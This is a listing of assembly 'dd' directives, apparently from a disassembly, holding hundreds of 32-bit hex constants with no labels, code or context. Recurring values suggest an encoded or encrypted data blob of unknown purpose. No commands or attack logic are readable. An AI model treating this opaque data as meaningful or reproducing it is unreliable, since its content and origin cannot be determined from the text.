		dd 0AC7725B1h, 72B5A495h, 0CD01C106h, 0D7C24660h, 0AB95BF87h
		dd 0B0DFCAEAh, 38BF6376h, 3256EC58h, 15398BB1h,	0BF93FB7Bh
		dd 0D8801033h, 0B0DF57BBh, 38BFE151h, 325728BEh, 0DAAAD5B1h
		dd 3256DDD3h, 30EB9D44h, 0B459BAB1h, 32565DB0h,	53D46949h
		dd 325CBE07h, 5256ABB1h, 3D8F5ED1h, 54373B06h, 14519530h
		dd 37BFE8D0h, 0A2565DB1h, 15F059FAh, 2EA7D277h,	3D00A152h
		dd 3256D435h, 603E1FB1h, 52CADD09h, 325432BEh, 6B045DB1h
		dd 5237F4E1h, 9B2AE9D7h, 325022BEh, 0BC59D5B1h,	3256EAB1h
		dd 23E38AD0h, 0DB5C599Eh, 32565DB9h, 65D7EB0Eh,	55027CBBh
		dd 9EA52E3Ch, 21BFDF57h, 3B56EAB1h, 2296F18Ah, 0F65EBD69h
		dd 2259E967h, 949E0140h, 0E2A9DC93h, 325725BEh,	0BBAFD5B1h
		dd 0D14D7B34h, 3FD27ABBh, 0DB56BAB1h, 32565DB9h, 6DF59CFDh
		dd 70DEBB3Ah, 20BFAFDBh, 7E56D5B1h, 60A55A5h, 8606AE83h
		dd 97210D60h, 0DA35E11Eh, 2256C677h, 5AA357B1h,	3255A6F1h
		dd 3256C758h, 6195F0B1h, 3A46E52Eh, 0E05CD6C6h,	0C51F9672h
		dd 58F8C975h, 2ADF58B1h, 0DB56ABB1h, 3256D5A2h,	21AA4C5Bh
		dd 0E393858h, 700AD741h, 0D9701CBCh, 0CDA1F18Eh, 0B3303761h
		dd 527EEC47h, 32565DBEh, 5337EAB1h, 325D9CEBh, 83EEBAB1h
		dd 3F7D54CFh, 1B0FC1A1h, 3D965CE0h, 3257F735h, 0B0DF29B1h
		dd 38BF5CD0h, 3DAAFFD1h, 3256B838h, 53080AB1h, 84D02C38h
		dd 20BF5D58h, 2356ABB1h, 5672198Ah, 0B68E9DA5h,	0C0815BEh
		dd 60CD7691h, 3F16E4EDh, 39BFAEB2h, 3A5657B1h, 81B6DA8Ch
		dd 7BD8833Eh, 0CADDB64Dh, 325C9DD1h, 9064BAB1h,	0B55E1D5Fh
		dd 84DFEF97h, 3D0F36D1h, 3256BB30h, 325C3DB1h, 4112EAB1h
		dd 0D9A3588Bh, 971ED7D5h, 0F2653CE8h, 3256A558h, 88A0F6B1h
		dd 34ACD7B1h, 0A70CD333h, 0B3594042h, 325675BDh, 32503DBEh
		dd 0BB595DB1h, 3256AEB1h, 363CAEE3h, 32512DBEh,	0BC59D5B1h
		dd 3256EAB0h, 22561D4Dh, 3CBFBAB1h, 4C565DB1h, 8A274BD0h
		dd 0AE013D3h, 1857BB0Eh, 3656BDA8h, 22BFEAB1h, 0A85675B1h
		dd 0EE9FD531h, 926267F9h, 0B8C7B645h, 3D168825h, 3256AC30h
		dd 32E8B5B1h, 5352E1A0h, 20BF75DBh, 0E856BAB1h,	0D7694C78h
		dd 465515BEh, 75C0D693h, 0E2A10EFEh, 0A3C42A72h, 3D5C09AAh
		dd 32567933h, 34D5B5B1h, 3D565DB1h, 3256AE3Fh, 3259BEB1h
		dd 0DC70ABB1h, 2B14650Dh, 0DEDA365Ch, 0F520C72Ah, 5436E06Ch
		dd 0B330FD0Ah, 0FED2E446h, 8C3636DEh, 7FA3835Eh, 0D19754E3h
		dd 6B2CACE7h, 0E4D4FCD0h, 0DB5C5309h, 32565DB8h, 0C33BC115h
		dd 0C814D4D3h, 26BFCA3Dh, 0DE56D5B1h, 8BE139EDh, 0C9811F3Fh
		dd 4EBCC621h, 3D05EE35h, 0B9AAD808h, 0DBE03634h, 54365EBBh
		dd 511A2330h, 0A64855D7h, 52AFB6D0h, 324134BEh,	20BF5DB1h
		dd 5056AEB1h, 7AE97736h, 3F484D36h, 2A6A02F4h, 9CE97CF8h
		dd 97D4B2ADh, 325C59B1h, 52561DB1h, 83394E31h, 0DA3636C1h
		dd 3256ABBAh, 0BF97D6C7h, 0F05C16DEh, 6A775C78h, 7D47DD0h
		dd 325CBE81h, 5256AEA1h, 5384E8BEh, 325F42D0h, 1ED5B1h
		dd 0E9981A36h, 0DB6F66BDh, 3256BAB7h, 90444C23h, 0DB95733Fh
		dd 325657BEh, 88B0C0D4h, 2E69E7A1h, 551BBB9Dh, 52869430h
		dd 325F3ABEh, 0B9365DB1h, 0C3D7C84Bh, 0B937C8EEh, 0DBE0CA0Bh
		dd 5236B5BBh, 3D368BD0h, 3256753Eh, 324453B1h, 92BE5DB1h
		dd 5F193129h, 0A9C8F960h, 5FB5CA65h, 0A016CDACh, 0DD58BD0h
		dd 0E4D27AB1h, 3D56BAB1h, 3256513Eh, 325147B1h,	0CFF257B1h
		dd 82038C11h, 32443CF4h, 0F7C7EAB1h, 869ED8A4h,	40B610F8h
		dd 0E422DAC7h, 89C53655h, 30462832h, 320E2FBEh,	0BE59D5B1h
		dd 3256EAA8h, 32566158h, 731E13B1h, 0BAC0F5EAh,	43AC776Dh
		dd 0AE32BB96h, 0EBDB7883h, 8930B5D8h, 0B9304431h, 4DD5146Fh
		dd 0B659BEA1h, 32565DEDh, 3D06CE4Dh, 3256573Eh,	0B137F5B1h
		dd 0DBAAC176h, 0CDA915CFh, 325AF7BEh, 0BE59BAB1h, 32565DB7h
		dd 32562CBEh, 759157B1h, 3256AAA1h, 21D0DAB1h, 0DB56EAB1h
		dd 325675BFh, 657C89Ch,	242D2F0h, 10B8969h, 0F2BF19B5h
		dd 3DA9544Eh, 3256DE37h, 325003B1h, 0C65F75B1h,	0CFDEB782h
		dd 31461A76h, 5256AEB1h, 0C3E158E7h, 0DB3757EFh, 0CDA92A2Ah
		dd 0F1AA8B49h, 325DF0BEh, 34BFBAB1h, 4565DB1h, 262F2B5Dh
		dd 0C736023Bh, 0BD842AD7h, 0DEDDB4D4h, 3256E058h, 8E6580B1h
		dd 0D3FE86B6h, 0CB42DD08h, 3EDEA1D1h, 3D5657B1h, 3256AD34h
		dd 32D1DAB1h, 0DA56EAB1h, 325675B1h, 0C8BC3BEBh, 525CB463h
		dd 3256AB58h, 1312A4B1h, 0B35946FBh, 3256D5A9h,	3256F859h
		dd 7EB883B1h, 0A689326Eh, 9344CB23h, 506071ABh,	687AF253h
		dd 0B2595ED0h, 3256D5BBh, 32D1E5D1h, 525675B1h,	80DDDBD0h
		dd 38BFE4B5h, 32452ABEh, 3CBF57B1h, 9B56ABB1h, 0C18B7193h
		dd 5E127A02h, 0AEDA1910h, 3A1331ABh, 3253B4D1h,	1B22AEB1h
		dd 54954F57h, 0D46B4430h, 0CB505CD0h, 3256E058h, 94C8A6B1h
		dd 0F1438119h, 0B17E3FC5h, 0DBEFAA33h, 53A353BBh, 54FE1AD1h
		dd 53766008h, 0B5598A78h, 325675BFh, 3256B358h,	2AE0B9B1h
		dd 43188902h, 3DBF72E2h, 8E56ABB1h, 4197A49Dh, 0AF8C4310h
		dd 31567211h, 0F037805Ah, 0C7365DB5h, 7ABB310Bh, 0CE3636B2h
		dd 3256AB59h, 0D8D78FB1h, 38BF397Eh, 3242F5BEh,	3DBFBAB1h
		dd 4565DB1h, 57ECB376h,	0B1E5635Ah, 0C332042Ch,	26BF3C6Ah
		dd 5D56EAB1h, 7FF3784Fh, 62FBD7C2h, 65DDF567h, 0C6D6F7D5h
		dd 0B9E98A89h, 0DBEE7D03h, 21DFDABBh, 0DB56EAB1h, 325675BFh
		dd 481364FAh, 5AD938D7h, 0EB4B5AD2h, 20BF0A68h,	9056ABB1h
		dd 5BB1EBBEh, 990788CEh, 1700714Ah, 66809EE7h, 36E46691h
		dd 3D5C4708h, 32578135h, 38BECBB1h, 9B56D5B1h, 8885DB17h
		dd 0CFE1D2CAh, 32585370h, 145E5DB1h, 554C778Dh,	11FFFFA5h
		dd 0A4480ADFh, 0B93720EBh, 0EDDD1F8Fh, 37DD7AD1h, 8B56BAB1h
		dd 1163314Ch, 539F11BEh, 3319E1BEh, 3BBF57D1h, 1456D5B1h
		dd 482BF261h, 0A453EFDFh, 33114CD0h, 0CD35231h,	0CE56AEB1h
		dd 325FBED1h, 0ED04ABB1h, 0EA98FACFh, 882E1854h, 70B08AD8h
		dd 0C78FB9D0h, 32567E58h
		dd 0B930CEB1h, 22BE374Bh, 0D56ABB1h, 0D4CCDC4Eh, 422D97FAh
		dd 793DCD51h, 6D7D6B71h, 53AFEABEh, 0CE8F85D0h,	0BF59AFF2h
		dd 3256ABABh, 32583CD1h, 0C004EAB1h, 49CF53FEh,	50C432ADh
		dd 182C0D7h, 9892FD7h, 0CA153608h, 268F2E3Ah, 26BFDF52h
		dd 0BD56EAB1h, 40D1E183h, 22C5A512h, 1C63D504h,	91216BFAh
		dd 3D9BAC23h, 3256BD38h, 22DDDAB1h, 0DB56EAB1h,	325675BAh
		dd 0A226F18Ah, 2843FDAAh, 0B97E1D5Ah, 0D163723Ch, 325D42BBh
		dd 4B2CD5B1h, 7D60C862h, 0C62208ABh, 22BFDACDh,	2D565DB1h
		dd 6172B71Ah, 2B7F86DFh, 0DB1BC08Bh, 53AFB146h,	0B059328Ah
		dd 325675D3h, 3CD4B5D1h, 0DB565DB1h, 3256AEB8h,	0BB621E87h
		dd 0E545A9B2h, 0F1E1DA5Bh, 3D8FD1D0h, 32563436h, 0B330DAB1h
		dd 3D165252h, 3256BE3Dh, 325CBFB1h, 0ECB4ABB1h,	0FCEDF9EFh
		dd 0FEB499DDh, 0B1A314E8h, 0BE59BE77h, 32565DBFh, 3256A758h
		dd 51392DB1h, 361EDD1Ch, 58BF89FCh, 3DA9154Fh, 32567437h
		dd 0FD6D43B1h, 326BD9BEh, 38BFAEB1h, 3C5657B1h,	0B11DB49h
		dd 5217EAFCh, 17EB6321h, 0DB5C9684h, 3256BAB9h,	855422F8h
		dd 70EFAD5Fh, 0CDABA958h, 3247424Eh, 1E80D5B1h,	0D4DE9A42h
		dd 0E0E5A078h, 0F6C24383h, 53F1DD13h, 0E8D7C8D1h, 20BEE466h
		dd 0BD56ABB1h, 0A7C28DE1h, 7D313106h, 9D3564F4h, 0D328E37Bh
		dd 0E0E15286h, 3D95CFEEh, 32565B35h, 325142B1h,	98A3D5B1h
		dd 42A04DB5h, 20BF1524h, 0A956BAB1h, 0B161790Ch, 16E8A370h
		dd 0C094AA0Fh, 13DABEEh, 32563D6Bh, 0B30CEAB1h,	0DB80015Bh
		dd 38DAB5BBh, 0DB565DB1h, 3256AEB4h, 8586DC62h,	3245429Dh
		dd 0FCF7D5B1h, 6FD96A4Bh, 22ACCBDAh, 500C4F43h,	77C2D5EFh
		dd 0E4EC25B9h, 525CBE09h, 90F811D7h, 53A45ED7h,	3257EA08h
		dd 325D9CB1h, 0B68CBAB1h, 40863D30h, 0D36E5637h, 0F265A298h
		dd 3256BF58h, 0ECEAC9B1h, 81B59541h, 35250AB1h,	8D91C20Ch
		dd 0A3110518h, 0DBFD5D0Eh, 325657BAh, 0C928B8CAh, 7DE7DED8h
		dd 520A755Eh, 6DEACD0Bh, 0B93746A5h, 0DBEE8B33h, 33DAA1BBh
		dd 0CA5657B1h, 8B522938h, 0BB59DF58h, 3256EAA1h, 32567E58h
		dd 7064FFB1h, 0ECE24AA2h, 0C08840C9h, 325CBED0h, 2AFBABB1h
		dd 0CBF29B01h, 0A1C01F37h, 33D67A72h, 0C756BAB1h, 32BEA4D1h
		dd 6856AEB1h, 0E513BD30h, 0BD59A158h, 3256D5B9h, 32546CBEh
		dd 533675B1h, 0E1D7DCD1h, 37BF91B5h, 7456AEB1h,	0A2760506h
		dd 0B79052D0h, 38B5C940h, 0C4D68AE7h, 27D47A52h, 0DA56BAB1h
		dd 32565DBEh, 55596FC4h, 47A7C182h, 36175067h, 6CA60005h
		dd 5F6F82D0h, 0BC59A1AEh, 3256BAB0h, 23E3A24Dh,	0CA5C4D9Eh
		dd 9EA5D23Ch, 0CDA3A157h, 52042C61h, 3256FB58h,	80A997B1h
		dd 12D917E3h, 93E4A106h, 0D2E23F0Bh, 0DB37792Dh, 3256ABB6h
		dd 328B1EF6h, 629713C8h, 325AFBBEh, 0B259BAB1h,	32565DB7h
		dd 32562FBEh, 323E57B1h, 0CA56AB31h, 3FBFD5DBh,	5756EAB1h
		dd 0B51C76A0h, 0BE7F10A9h, 0EC20263Ah, 84371C4Eh, 0CDAF5D58h
		dd 4BEDCB61h, 0CA54086Eh, 0E1D78AD0h, 1263A9C1h, 99D07C30h
		dd 6A371835h, 325123BEh, 0BF5957B1h, 3256ABB0h,	5AAF8F49h
		dd 32566AB1h, 3246F8BEh, 39BFBAB1h, 63565DB1h, 6A5A9CA6h
		dd 0F0E90D61h, 323CA51Dh, 3256DD58h, 0A3EB5CB1h, 8D3603C4h
		dd 0E4E44539h, 3D5CB409h, 3256A435h, 0B95937B1h, 3256ABB1h
		dd 0CD372E3Ah, 20DBE561h, 0DB5675B1h, 3256BABCh, 98784F54h
		dd 0F30E7DDEh, 5C5905A5h, 52AFCA64h, 3256DB59h,	91DC8CB1h
		dd 5FED54C6h, 0E3B76A34h, 0B9AE686Bh, 8930F648h, 0F1378ACCh
		dd 324542D1h, 28D7D5B1h, 7B589E8Eh, 296618CDh, 74076DB1h
		dd 275C9C47h, 3242468Dh, 9E5B57B1h, 4D0E5A12h, 6625ABEAh
		dd 175DB7DEh, 0F6C75F78h, 0B330D178h, 6967925Eh, 0B836FBD0h
		dd 0CBE95845h, 0CBBA20D0h, 32593CD1h, 77BEAB1h,	15FA0400h
		dd 0D9D94450h, 5706CFE7h, 32564678h, 0B30C57B1h, 0DB8FA35Bh
		dd 32583CBBh, 2F05EAB1h, 0CF161C5Fh, 93ECD95h, 0B32A6064h
		dd 325D2ABEh, 543657B1h, 0BB59603Ah, 3256D5B1h,	3A2361D0h
		dd 33D07A44h, 0CB56BAB1h, 3259DA59h, 324247B1h,	348A57B1h
		dd 3BFF353Dh, 0D4F663ADh, 4710F4A0h, 0A6F1D34h,	0DB035719h
		dd 32565DBCh, 0A496F452h, 6288CB01h, 0BA2B2D00h, 0A0A92C7Ch
		dd 38BF5C76h, 32567F58h, 0E4613BB1h, 0FBDEC4E4h, 6F63EA46h
		dd 32564758h, 203E73B1h, 0D1A83862h, 0B23C8D1h,	3928D632h
		dd 0E2DDDABDh, 0D0D73BD1h, 95E73537h, 476D36D0h, 0BFD3A4BDh
		dd 0CEA92A4Eh, 3259F959h, 0A6ED15B1h, 3D6C942Fh, 32565E33h
		dd 0E4E1A1B1h, 0FBAE36D0h, 0FDE1A4D1h, 69B067E6h, 325E28D0h
		dd 32566758h, 0C86BC9B1h, 8D7F92ACh, 6DECC16Ah,	5D4D7AE9h
		dd 3D1CD3CBh, 3256DA38h, 325C03B1h, 439975B1h, 4E2BE853h
		dd 230FDAF0h, 39D3A1E4h, 525657B1h, 27FD5D30h, 8559F2ECh
		dd 0DEDD8B7Ah, 32567A58h, 78B92EB1h, 2B4FCB7Ah,	75F45BFBh
		dd 4F698EAAh, 52AA6F32h, 6437143Ah, 0B3308AD1h,	5482C372h
		dd 53862C0Eh, 32565859h, 0C94BA0B1h, 2DE94037h,	6807BF84h
		dd 61A382D0h, 3256E158h, 0FD5F0FB1h, 0AA5754D4h, 0BA202F7h
		dd 3256AE59h, 0D8D70DB1h, 38BF71D6h, 0B330B5D1h, 0DB217947h
		dd 325675A2h, 938D9362h, 9FCB14B0h, 435D07B1h, 0F03F0757h
		dd 53183D97h, 2F922230h, 0CB37CB07h, 0DB5E003Ah, 3256BAB7h
		dd 670CDD4h, 4FDD34BDh,	3D01A2A1h, 3256A730h, 34D7DAB1h
		dd 3D56EAB1h, 3256753Ch, 5436ECB1h, 0B5599B3Ah,	3256AEB7h
		dd 3256DBBEh, 0DA37ABB1h, 3256D454h, 3D96E149h,	32569535h
		dd 325A53B1h, 35DE5DB1h, 0F7462D49h, 0EB4CA4DFh, 0CADDC529h
		dd 0B1598049h, 3256EAB5h, 5350C6D1h, 8491284Eh,	38BF5758h
		dd 0EC56AEB1h, 2D1AF99Eh, 8DEB6773h, 0B15988BEh, 3256EABDh
		dd 3250FFBEh, 0B259BAB1h, 32565DB1h, 3D5ADB8Ah,	3256C735h
		dd 0B9305EB1h, 8830B5AFh, 855915D4h, 0D5D61449h, 325A5341h
		dd 5E0A5DB1h, 5A9E3C8h,	0CC4CD1C5h, 0BE594843h,	3256D5B9h
		dd 325461BEh, 533675B1h, 3EBFA43Bh, 72565DB1h, 4816DEAAh
		dd 0E651B3E2h, 0B28E5C0Ch, 0BA592552h, 3256EAA5h, 3258F9BEh
		dd 3BBFBAB1h, 98565DB1h, 78C637BCh, 1C9EF087h, 3270CD59h
		dd 26D0DAB1h, 0DB56EAB1h, 325675BEh, 3A90104Eh,	594B23ECh
		dd 178F7F4Fh, 0DB5EF3DEh, 0CDA9554Bh, 0BA5920D1h, 3256EAB5h
		dd 5DACCBD7h, 0CE2B33D0h, 3249D8BEh, 0BA59AEB1h, 325657A8h
		dd 3256BF58h, 761531B1h, 344B5140h, 57686892h, 57F85CA6h
		dd 0A79E49F6h, 0C7E74632h, 3EBFA84Eh, 7856ABB1h, 0B66AD672h
		dd 47DC2242h, 3DCE46A0h, 3256A434h, 0DCD63DB1h,	32454615h
		dd 4FE557B1h, 0FACD62h,	149D6FF2h, 91AECD7Ch, 0E5E2CBACh
		dd 6937E424h, 32565358h, 79550EB1h, 149CAD89h, 0AD0725DFh
		dd 6D4BA53Fh, 324E65BEh, 0BE5975B1h, 3256BAA3h,	32565058h
		dd 2B18B1B1h, 38566F50h, 176DB35Fh, 0B5598688h,	3256EAA6h
		dd 32566758h, 23563FB1h, 0ED861EA1h, 35671CDDh,	53F0CEAAh
		dd 6CAC22CCh, 3256C658h, 0EFC7BFB1h, 0F146E4EFh, 2655A1B0h
		dd 0A3604B5h, 0B82BC688h, 0C7AA123Ah, 32444278h, 0E665D5B1h
		dd 9CC13C48h, 69806035h, 636FF936h, 0BB23AF21h,	3D56A273h
		dd 32565B3Eh, 34DBA4B1h, 3D56D5B1h, 3256EA3Bh, 39BF20B1h
		dd 0D056BAB1h, 50A35710h
		dd 0D6DE606Eh, 0DEDD53ABh, 32582DBEh, 0B336D5B1h, 3382295Eh
		dd 32D47AF6h, 5356BAB1h, 0DBAE9932h, 3256AEBDh,	412B5CAh
		dd 0F6F3E158h, 5A6BFCACh, 62368AE6h, 32D57AEEh,	5356BAB1h
		dd 5387EABEh, 23D9A1E7h, 0DB5657B1h, 3256ABBDh,	6C83F731h
		dd 0F9F43BA8h, 95D2C51Fh, 325D53E0h, 9D6B5DB1h,	0B30CA4B5h
		dd 0B3D3D32Fh, 27D9A426h, 3D56D5B1h, 3256E53Ch,	325C9CB1h
		dd 42C2BAB1h, 3798EF52h, 546D6D33h, 33D458E2h, 0CB56ABB1h
		dd 32AE9076h, 5256EAB1h, 32567C58h, 0BB9A3B1h, 2526F5D4h
		dd 0DBD792FAh, 290F6A19h, 1D46CD0h, 335C3C09h, 0DB56EAB1h
		dd 325675A5h, 94419FA0h, 70D902F6h, 2E2F133Fh, 0FC579BB7h
		dd 68219DABh, 3D5EA03Ah, 3256EB31h, 0B93080B1h,	3DAADAAFh
		dd 32565B3Eh, 71A12FB1h, 5345A6A1h, 8437113Ah, 0B459DF58h
		dd 3256EAA9h, 32566658h, 5A87C5B1h, 38662B74h, 269AA50Fh
		dd 2BB4598Eh, 0A1CBB4FCh, 3256C158h, 3EF1C0B1h,	7A7C038Eh
		dd 64B69439h, 0C64BEC18h, 692DF0D6h, 3A09DCFBh,	3D8DA04Dh
		dd 32564435h, 325803B1h, 0FB5A75B1h, 19760932h,	7EFB8C5Bh
		dd 1B137915h, 0B759898Ah, 3256ABF1h, 3E0B5E44h,	325303D1h
		dd 0B5CC75B1h, 545A8A99h, 53CF4E0Bh, 525AF138h,	0DBC08931h
		dd 3256ABA3h, 0C596D437h, 0A56FCBB4h, 0A90BCA2Ah, 0F6CAEC5Ch
		dd 5237F8DBh, 36DEA144h, 545657B1h, 5399800Ah, 3D421232h
		dd 3256FC39h, 32479CB1h, 54ACBAB1h, 0D463ED54h,	5B9CF16Dh
		dd 0CBB19935h, 0DB475F46h, 3256D5BDh, 0DBE8923Fh, 865F84B3h
		dd 4A263929h, 0CDA93958h, 0B930524Eh, 26BF37AFh, 0D856ABB1h
		dd 0E6B0680Ch, 38925633h, 0DD6D1FABh, 72534EFAh, 6081B748h
		dd 530ECFD1h, 3DBEAC31h, 32557035h, 32533CB1h, 412CEAB1h
		dd 0B2D1F121h, 0B659534Ah, 32565E79h, 32662FBEh, 0DB3657B1h
		dd 3256ABA5h, 0AB7CCFFh, 2AB8E0B1h, 616F508Ah, 778A0E9Ch
		dd 0F3E87D31h, 3256A159h, 84D944B1h, 74FCD450h,	1D6017E8h
		dd 0BDE9D767h, 0C9D614E9h, 0BBD2B55Ah, 0DB565DB2h, 3256AEBDh
		dd 0B6973F0Ch, 0AD182657h, 0A92A7A54h, 324F6DBEh, 26BF75B1h
		dd 8B56BAB1h, 30C0DF47h, 5F1E8B99h, 0C5783E55h,	0A5E52322h
		dd 0B2C8B3D4h, 0B659084Ah, 3256768Dh, 0F2E9B5D1h, 5399E2BEh
		dd 3DB55531h, 32555335h, 27D7A4B1h, 0DB56D5B1h,	3256EAA1h
		dd 93039B80h, 7C3FFECAh, 0BAB13A72h, 1E009346h,	530E06D1h
		dd 55AD2AD7h, 33D2DA52h, 3D56EAB2h, 32567438h, 0D5D643B1h
		dd 3253B441h, 3F3AAEB1h, 54785E0Ah, 0B2595030h,	30A051BEh
		dd 0B2AEEAB1h, 0B2AE8552h, 0B659CA4Ah, 32565F59h, 2CDDC849h
		dd 325CBED1h, 2B3EABB1h, 38683D5Ah, 30307BEDh, 0B237A43Ah
		dd 0B6594252h, 32565DBEh, 3256A458h, 6D49A8B1h,	5B398BA6h
		dd 0B2327B86h, 0B659524Ah, 3256747Eh, 38DCB5D1h, 0DB565DB1h
		dd 3256AEB4h, 0D838DDE2h, 0E7D6CBB7h, 325B3CD7h, 0B1A0EAB1h
		dd 1CA3DB87h, 0DBA466BAh, 538DD2DFh, 37682ED0h,	33CBD3BEh
		dd 0BE59ABB1h, 3256D5AEh, 324F6CBEh, 26BF75B1h,	956BAB1h
		dd 0A3314013h, 3151C7EEh, 18E57A11h, 0C17415D2h, 0B257CC9Fh
		dd 0B659C78Fh, 325674DEh, 5A683A44h, 3333D9BEh,	6536AEB1h
		dd 0DA0C09E6h, 3256ABBAh, 0A1F4DCE6h, 27BA0C34h, 0DB0C3B3Fh
		dd 3256BABEh, 12370E7Ch, 15C7F178h, 240BA77Dh, 6BEBBD94h
		dd 1D42AD0h, 0CA5C0309h, 0DB48FED7h, 3256BABDh,	0B188BCB6h
		dd 53A6AEAFh, 51825A16h, 3DAE4C31h, 3256D937h, 34D2E5B1h
		dd 3D5675B1h, 3256BA38h, 0C9D73BB1h, 0B6594630h, 3256574Eh
		dd 324420BEh, 3FBFD5B1h, 4556EAB1h, 6AB3CB6Dh, 0B8E8C122h
		dd 6EF25E5Ah, 3D4825D7h, 32564E37h, 324242B1h, 0F4EFD5B1h
		dd 56A376ECh, 286E1E76h, 0FAE8F3C1h, 23E61CDEh,	0D5D64511h
		dd 3AD05841h, 5256ABB1h, 0B2906ABEh, 5437DE47h,	0F2D78E30h
		dd 32FF3EBEh, 65365DB1h, 0B259F54Dh, 325657B3h,	5237F2E2h
		dd 8B30B54Dh, 0B930BBC9h, 52031461h, 325436BEh,	0CBE05DB1h
		dd 3256A859h, 0FBC28B1h, 8CBE475Ah, 468E30A1h, 0A0A98BEFh
		dd 38BFC376h, 325733BEh, 6FA35DB1h, 325727BEh, 3DAE57B1h
		dd 3256B538h, 2AD2DAB1h, 0DB56EAB1h, 325675A2h,	29C4B928h
		dd 0E062E0Bh, 0C31F2372h, 0DA55D8B7h, 0BBD5D0D7h, 53A329F4h
		dd 0A886BD1h, 524AD24Fh, 3256BD59h, 0BF8A21B1h,	7C96CCEDh
		dd 32D858E8h, 5356ABB1h, 0CE2B56D0h, 8AD3E5B0h,	0DB5675B0h
		dd 3256BABAh, 0E1A6FF65h, 0B96C177Ah, 0B9B31E88h, 0D1560E0Bh
		dd 62AA2CBBh, 1D46144h,	0DB5C9C09h, 3256BAB7h, 0DF6F85Fh
		dd 0E6FA10Bh, 3D0EAF81h, 32572933h, 3DD7DAB1h, 0DB56EAB1h
		dd 325675BBh, 0A92E5B68h, 0DA4A868Fh, 88DD1688h, 38B56784h
		dd 324720BEh, 3EBFD5B1h, 4C56EAB1h, 791894E6h, 60A68114h
		dd 62916822h, 1D4254Dh,	525CBE09h, 325626BEh, 0EBDDD5B1h
		dd 3AD0E5D0h, 3D5675B1h, 3256B83Ah, 0B373DB1h, 39BF9E8Dh
		dd 0CD5657B1h, 680C56B7h, 88F3BD00h, 6AAED36Ch,	3343FABEh
		dd 0DBAFBAB1h, 32565DF9h, 0FDE9A1D1h, 3254D0BEh, 0E3DDABB1h
		dd 0CA1312D0h, 3256EAB3h, 325EF0BEh, 0B459BAB1h, 32565DB3h
		dd 0DBAFCFD1h, 32565791h, 3D181ED1h, 3256D73Dh,	538260B1h
		dd 33AE3076h, 5256BAB1h, 32565B58h, 0BDDE01B1h,	53084E64h
		dd 8437113Ah, 5236DF58h, 325668BEh, 533675B1h, 7C8703D0h
		dd 0B9376EA6h, 39A357AEh, 96D2586Ah, 0CE56ABB1h, 0B7590B8Ah
		dd 3256EA89h, 3257F5BEh, 0B9A3BAB1h, 34BF51ECh,	0B956AEB1h
		dd 7EF40FAFh, 0CA2B2862h, 27D2DAB1h, 0DB56EAB1h, 325675BDh
		dd 0FE17499Ah, 0C35F7FBh, 0D6A41762h, 0CEAE0AB2h, 0CA52F438h
		dd 3D421232h, 3256E033h, 32539CB1h, 0A998BAB1h,	0DB37D895h
		dd 0CDA9512Ah, 32565A58h, 70D63CB1h, 77247C78h,	0C951BB77h
		dd 0BE59FFD1h, 3256BABEh, 325EB4D1h, 0B642AEB1h, 0B5D695BAh
		dd 137785Fh, 3ABEB571h,	3D56EAB1h, 0D0F07D18h, 0B9CFC470h
		dd 0B3300376h, 534CF162h, 32523458h, 54AFCBB1h,	5437173Ah
		dd 0B9AEF43Ah, 0B85979CCh, 3256BABBh, 32DA52D1h, 0B856AEB1h
		dd 0C9D63650h, 8D2A45Ah, 5256D5B1h, 538C614Dh, 0CBA69631h
		dd 3D264131h, 3256DA35h, 324747B1h, 436057B1h, 58D23E9Ah
		dd 994A9954h, 6FBCF555h, 0DB2BF5A9h, 3256BBD5h,	32565558h
		dd 557D35B1h, 0C2586A6Eh, 0DB516D7Eh, 324854BEh, 0B559EAB1h
		dd 325675A9h, 3256A958h, 0CFE3C2B1h, 0FA90C476h, 5FFEEFB6h
		dd 0AD31C0F5h, 7CFFC8F5h, 3257AD76h, 0CA5675B1h, 52913149h
		dd 0AD80DCD1h, 527F4900h, 0B13736D0h, 3D36AE71h, 3256D633h
		dd 0C8DD8CB1h, 0DB375707h, 3256B901h, 32565B58h, 3358B2B1h
		dd 0CA554509h, 3D516CD7h, 20D9DAB9h, 5256EAB1h,	32567C58h
		dd 0B8C997B1h, 3CF89C83h, 5336F512h, 3D48DDD0h,	3256AA3Fh
		dd 0D1D620B1h, 33D4E5BEh, 0CB5675B1h, 0DBD67131h, 32565DA1h
		dd 0BFCCC828h, 0B98C508Bh, 85229D28h, 71B29A91h, 325766BEh
		dd 0BAAF75B1h, 0BC59BBEEh, 32565DB0h, 3011694Dh, 325657B1h
		dd 324F29BEh, 26BFD5B1h, 1356EAB1h, 8A1889A2h, 9CB306E8h
		dd 8CF9AADBh, 7A3E9067h, 0B914D6E7h, 3ADDA476h,	3D56D5B1h
		dd 3256E83Ch, 0B13715B1h, 3EBFBC71h, 0BC565DB1h, 0C3AB8989h
		dd 3806E623h, 0DB1F5D6Fh, 3256D74Dh, 327965BEh,	0DB3675B1h
		dd 3256BAA5h, 0E69F8AF9h
		dd 0F561E6FEh, 41754B35h, 120FEFDAh, 0DB643720h, 3256E459h
		dd 0C41257B1h, 9A32B216h, 6B5F51E8h, 6B273802h,	27DC58D0h
		dd 0DB56ABB1h, 3256D5A1h, 1F78155Fh, 0FC354FD0h, 361A8F5h
		dd 0F56FAC23h, 0A2682FD7h, 60D25821h, 0CE56ABB1h, 3DC6EB31h
		dd 32568C34h, 0B33080B1h, 0A2C645CFh, 326DD9BEh, 3D36AEB1h
		dd 3256553Fh, 5337CBB1h, 32569F58h, 3EBF8AB1h, 0CD5675B1h
		dd 0C7972100h, 0CFD97D46h, 52707398h, 32564558h, 0B7F3BEB1h
		dd 1072B769h, 1A6A8A0h,	0B5E50D78h, 53C2699Ah, 0CA91D6D0h
		dd 3254E958h, 3DA337B1h, 3256A63Bh, 32513DB1h, 56F1EAB1h
		dd 7870DBD8h, 0BF37E37Dh, 0DBEF4733h, 0B85956BBh, 325657A3h
		dd 3256A658h, 0FA4BDB1h, 62A93A12h, 0E4C6C019h,	5206D959h
		dd 325CB4E1h, 5CEBAEB1h, 4D401AAh, 0ECEAB75Eh, 34DADAEFh
		dd 0B356EAB1h, 0F2CDE076h, 3D00DBCAh, 32565A37h, 33DCA1B1h
		dd 0CA5657B1h, 84B6394Eh, 39AEDF58h, 72D2E571h,	0DB5675B1h
		dd 3256BAA3h, 0DBCD4449h, 835A4F14h, 8D55E33Bh,	0F34CE084h
		dd 0FADDC077h, 3256FA58h, 1545E7B1h, 6AE447DFh,	0D5847B37h
		dd 995E3ABCh, 28E4DAD1h, 0C75C4208h, 32565658h,	4EE48AB1h
		dd 6437853Ah, 32513DBEh, 0BA595DB1h, 3256AEB0h,	0CA98DC48h
